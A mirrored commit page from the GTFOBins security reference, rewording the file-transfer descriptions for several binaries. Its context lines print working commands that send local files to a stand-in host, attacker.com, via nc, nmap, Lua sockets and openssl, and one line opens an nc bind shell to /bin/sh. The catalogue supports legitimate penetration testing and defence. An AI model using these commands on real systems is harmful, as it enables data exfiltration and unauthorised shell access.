mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Reword file upload/download descriptions
This commit is contained in:
parent
ebe1181b75
commit
e969daf111
@ -27,7 +27,7 @@ functions:
|
|||||||
local b=assert(f:read("*a"));c:send(b);
|
local b=assert(f:read("*a"));c:send(b);
|
||||||
end;c:close();f:close();'
|
end;c:close();f:close();'
|
||||||
file-upload:
|
file-upload:
|
||||||
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires `lua-socket` installed.
|
- description: Send a local file via TCP. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires `lua-socket` installed.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
@ -42,7 +42,7 @@ functions:
|
|||||||
t:send(d);
|
t:send(d);
|
||||||
t:close();'
|
t:close();'
|
||||||
file-download:
|
file-download:
|
||||||
- description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345
|
- description: Fetch a remote file via TCP. Run `nc target.com 12345
|
||||||
< "file_to_send"` on the attacker box to send the file. This requires `lua-socket` installed.
|
< "file_to_send"` on the attacker box to send the file. This requires `lua-socket` installed.
|
||||||
code: |
|
code: |
|
||||||
export LPORT=12345
|
export LPORT=12345
|
||||||
|
@ -12,14 +12,14 @@ functions:
|
|||||||
LPORT=12345
|
LPORT=12345
|
||||||
nc -l -p $LPORT -e /bin/sh
|
nc -l -p $LPORT -e /bin/sh
|
||||||
file-upload:
|
file-upload:
|
||||||
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
|
- description: Send a local file via TCP. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
LFILE=file_to_send
|
LFILE=file_to_send
|
||||||
nc $RHOST $RPORT < "$LFILE"
|
nc $RHOST $RPORT < "$LFILE"
|
||||||
file-download:
|
file-download:
|
||||||
- description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file.
|
- description: Fetch a remote file via TCP. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file.
|
||||||
code: |
|
code: |
|
||||||
LPORT=12345
|
LPORT=12345
|
||||||
LFILE=file_to_save
|
LFILE=file_to_save
|
||||||
|
@ -39,13 +39,13 @@ functions:
|
|||||||
end;c:close();f:close();' > $TF
|
end;c:close();f:close();' > $TF
|
||||||
nmap --script=$TF
|
nmap --script=$TF
|
||||||
file-upload:
|
file-upload:
|
||||||
- description: Send a file to a TCP port. Run `socat -v tcp-listen:8080,reuseaddr,fork - on the attacker box to collect the file or use a proper HTTP server. Note that multiple connections are made to the server. Also, it is important that the port is a commonly used HTTP like 80 or 8080.
|
- description: Send a local file via TCP. Run `socat -v tcp-listen:8080,reuseaddr,fork - on the attacker box to collect the file or use a proper HTTP server. Note that multiple connections are made to the server. Also, it is important that the port is a commonly used HTTP like 80 or 8080.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=8080
|
RPORT=8080
|
||||||
LFILE=file_to_send
|
LFILE=file_to_send
|
||||||
nmap -p $RPORT $RHOST --script http-put --script-args http-put.url=/,http-put.file=$LFILE
|
nmap -p $RPORT $RHOST --script http-put --script-args http-put.url=/,http-put.file=$LFILE
|
||||||
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
|
- description: Send a local file via TCP. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=attacker.com
|
export RHOST=attacker.com
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
@ -61,14 +61,14 @@ functions:
|
|||||||
t:close();' > $TF
|
t:close();' > $TF
|
||||||
nmap --script=$TF
|
nmap --script=$TF
|
||||||
file-download:
|
file-download:
|
||||||
- description: Fetch remote file sent to a local TCP port. Run a proper HTTP server on the attacker box to send the file, e.g., `php -S 0.0.0.0:8080`. Note that multiple connections are made to the server and the result is placed in `$TF/IP/PORT/PATH`. Also, it is important that the port is a commonly used HTTP like 80 or 8080.
|
- description: Fetch a remote file via TCP. Run a proper HTTP server on the attacker box to send the file, e.g., `php -S 0.0.0.0:8080`. Note that multiple connections are made to the server and the result is placed in `$TF/IP/PORT/PATH`. Also, it is important that the port is a commonly used HTTP like 80 or 8080.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=8080
|
RPORT=8080
|
||||||
TF=$(mktemp -d)
|
TF=$(mktemp -d)
|
||||||
LFILE=file_to_save
|
LFILE=file_to_save
|
||||||
nmap -p $RPORT $RHOST --script http-fetch --script-args http-fetch.destination=$TF,http-fetch.url=$LFILE
|
nmap -p $RPORT $RHOST --script http-fetch --script-args http-fetch.destination=$TF,http-fetch.url=$LFILE
|
||||||
- description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file.
|
- description: Fetch a remote file via TCP. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file.
|
||||||
code: |
|
code: |
|
||||||
export LPORT=12345
|
export LPORT=12345
|
||||||
export LFILE=file_to_save
|
export LFILE=file_to_save
|
||||||
|
@ -19,7 +19,7 @@ functions:
|
|||||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
||||||
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 > file_to_save
|
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 > file_to_save
|
||||||
|
|
||||||
Send a file to a TCP port, transmission will be encrypted.
|
Send a local file via TCP. Transmission will be encrypted.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
|
@ -56,7 +56,7 @@ functions:
|
|||||||
else: import SimpleHTTPServer as s, SocketServer as ss
|
else: import SimpleHTTPServer as s, SocketServer as ss
|
||||||
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()
|
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()
|
||||||
vim.command(":q!")'
|
vim.command(":q!")'
|
||||||
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.
|
- description: Send a local file via TCP. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=attacker.com
|
export RHOST=attacker.com
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
@ -79,7 +79,7 @@ functions:
|
|||||||
else: import urllib as r
|
else: import urllib as r
|
||||||
r.urlretrieve(e["URL"], e["LFILE"])
|
r.urlretrieve(e["URL"], e["LFILE"])
|
||||||
vim.command(":q!")'
|
vim.command(":q!")'
|
||||||
- description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.
|
- description: Fetch a remote file via TCP. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.
|
||||||
code: |
|
code: |
|
||||||
export LPORT=12345
|
export LPORT=12345
|
||||||
export LFILE=file_to_save
|
export LFILE=file_to_save
|
||||||
|
@ -61,7 +61,7 @@ functions:
|
|||||||
else: import SimpleHTTPServer as s, SocketServer as ss
|
else: import SimpleHTTPServer as s, SocketServer as ss
|
||||||
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()
|
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()
|
||||||
vim.command(":q!")'
|
vim.command(":q!")'
|
||||||
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires that `vim` is compiled with Lua support and that `lua-socket` is installed.
|
- description: Send a local file via TCP. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires that `vim` is compiled with Lua support and that `lua-socket` is installed.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=attacker.com
|
export RHOST=attacker.com
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
@ -84,7 +84,7 @@ functions:
|
|||||||
else: import urllib as r
|
else: import urllib as r
|
||||||
r.urlretrieve(e["URL"], e["LFILE"])
|
r.urlretrieve(e["URL"], e["LFILE"])
|
||||||
vim.command(":q!")'
|
vim.command(":q!")'
|
||||||
- description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file. This requires that `vim` is compiled with Lua support and that `lua-socket` is installed.
|
- description: Fetch a remote file via TCP. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file. This requires that `vim` is compiled with Lua support and that `lua-socket` is installed.
|
||||||
code: |
|
code: |
|
||||||
export LPORT=12345
|
export LPORT=12345
|
||||||
export LFILE=file_to_save
|
export LFILE=file_to_save
|
||||||
|
Loading…
Reference in New Issue
Block a user